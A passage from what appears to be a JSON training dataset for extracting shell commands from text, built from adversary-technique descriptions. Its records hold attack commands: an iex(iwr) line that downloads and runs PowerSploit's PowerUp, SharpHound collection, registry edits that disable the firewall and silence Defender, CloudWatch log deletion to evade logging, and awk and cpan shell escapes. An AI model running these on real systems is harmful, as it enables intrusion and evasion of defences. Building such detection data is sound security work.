    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The system's remote login records can be displayed with the following commands: [ \"$(uname)\" = 'FreeBSD' ] && cmd=\"lastlogin\" || cmd=\"lastlog\" \n$cmd > #{output_file}\ncat #{output_file}\n; To enumerate users and groups, you can use the following commands: groups\nid\n",
    "output": "{\"command_list\": [\"[ \\\"$(uname)\\\" = 'FreeBSD' ] && cmd=\\\"lastlogin\\\" || cmd=\\\"lastlog\\\" \\n$cmd > #{output_file}\\ncat #{output_file}\\n\", \"groups\\nid\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can verify if remote desktop services are running by executing this command: Get-Service -Name \"Remote Desktop Services\", \"Remote Desktop Configuration\"; For scanning a range of ports and detecting services, run the following: nmap -Pn -sV -p #{port_range} #{host}",
    "output": "{\"command_list\": [\"Get-Service -Name \\\"Remote Desktop Services\\\", \\\"Remote Desktop Configuration\\\"\\n\", \"nmap -Pn -sV -p #{port_range} #{host}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To disable Windows Security Center notifications, modify the registry of the currently logged-in user with the following command: reg add HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\ImmersiveShell /v UseActionCenterExperience /t REG_DWORD /d 0 /f; To suppress Windows Defender notifications for the current user, modify the registry by running this command in the cmd console: reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\UX Configuration\" /v Notification_Suppress /t REG_DWORD /d 1 /f",
    "output": "{\"command_list\": [\"reg add HKLM\\\\SOFTWARE\\\\WOW6432Node\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\ImmersiveShell /v UseActionCenterExperience /t REG_DWORD /d 0 /f\\n\", \"reg add \\\"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\UX Configuration\\\" /v Notification_Suppress /t REG_DWORD /d 1 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To disable the Windows Firewall, an adversary can execute these registry modifications: reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall\\DomainProfile\" /v EnableFirewall /t REG_DWORD /d 0 /f\nreg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall\\StandardProfile\" /v EnableFirewall /t REG_DWORD /d 0 /f\n; The Windows Firewall can be disabled through registry changes with the following command: New-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall\\DomainProfile\" -Name EnableFirewall -PropertyType DWORD -Value 0 -Force\nNew-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall\\StandardProfile\" -Name EnableFirewall -PropertyType DWORD -Value 0 -Force\n",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\WindowsFirewall\\\\DomainProfile\\\" /v EnableFirewall /t REG_DWORD /d 0 /f\\nreg add \\\"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\WindowsFirewall\\\\StandardProfile\\\" /v EnableFirewall /t REG_DWORD /d 0 /f\\n\", \"New-ItemProperty \\\"HKLM:\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\WindowsFirewall\\\\DomainProfile\\\" -Name EnableFirewall -PropertyType DWORD -Value 0 -Force\\nNew-ItemProperty \\\"HKLM:\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\WindowsFirewall\\\\StandardProfile\\\" -Name EnableFirewall -PropertyType DWORD -Value 0 -Force\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To create and then immediately delete a CloudWatch log group in AWS, which can be used to evade logging defenses, use the following command:\naws logs create-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json\necho \"*** Log Group Created ***\"\naws logs delete-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json\necho \"*** Log Group Deleted ***\"; Attackers may attempt to cover their tracks by executing the following commands to create and then delete a CloudWatch log stream: aws logs create-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json\necho \"*** Log Group Created ***\"\naws logs create-log-stream --log-group-name #{cloudwatch_log_group_name} --log-stream-name #{cloudwatch_log_stream_name}\necho \"*** Log Stream Created ***\"\naws logs delete-log-stream --log-group-name #{cloudwatch_log_group_name} --log-stream-name #{cloudwatch_log_stream_name}\necho \"*** Log Stream Deleted ***\"\naws logs delete-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json\necho \"*** Log Group Deleted ***\"",
    "output": "{\"command_list\": [\"aws logs create-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json\\necho \\\"*** Log Group Created ***\\\"\\naws logs delete-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json\\necho \\\"*** Log Group Deleted ***\\\"\\n\", \"aws logs create-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json\\necho \\\"*** Log Group Created ***\\\"\\naws logs create-log-stream --log-group-name #{cloudwatch_log_group_name} --log-stream-name #{cloudwatch_log_stream_name}\\necho \\\"*** Log Stream Created ***\\\"\\naws logs delete-log-stream --log-group-name #{cloudwatch_log_group_name} --log-stream-name #{cloudwatch_log_stream_name}\\necho \\\"*** Log Stream Deleted ***\\\"\\naws logs delete-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json\\necho \\\"*** Log Group Deleted ***\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    In awk, the BEGIN rule executes before processing any input records, allowing you to create a shell with the following command: awk 'BEGIN {system(\"/bin/sh &\")}'.; The cpan utility allows executing perl commands via the ! command, which can be leveraged to escape restricted environments by running this command: echo '! exec \"/bin/sh &\"' | PERL_MM_USE_DEFAULT=1  cpan",
    "output": "{\"command_list\": [\"awk 'BEGIN {system(\\\"/bin/sh &\\\")}'\", \"echo '! exec \\\"/bin/sh &\\\"' | PERL_MM_USE_DEFAULT=1  cpan\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
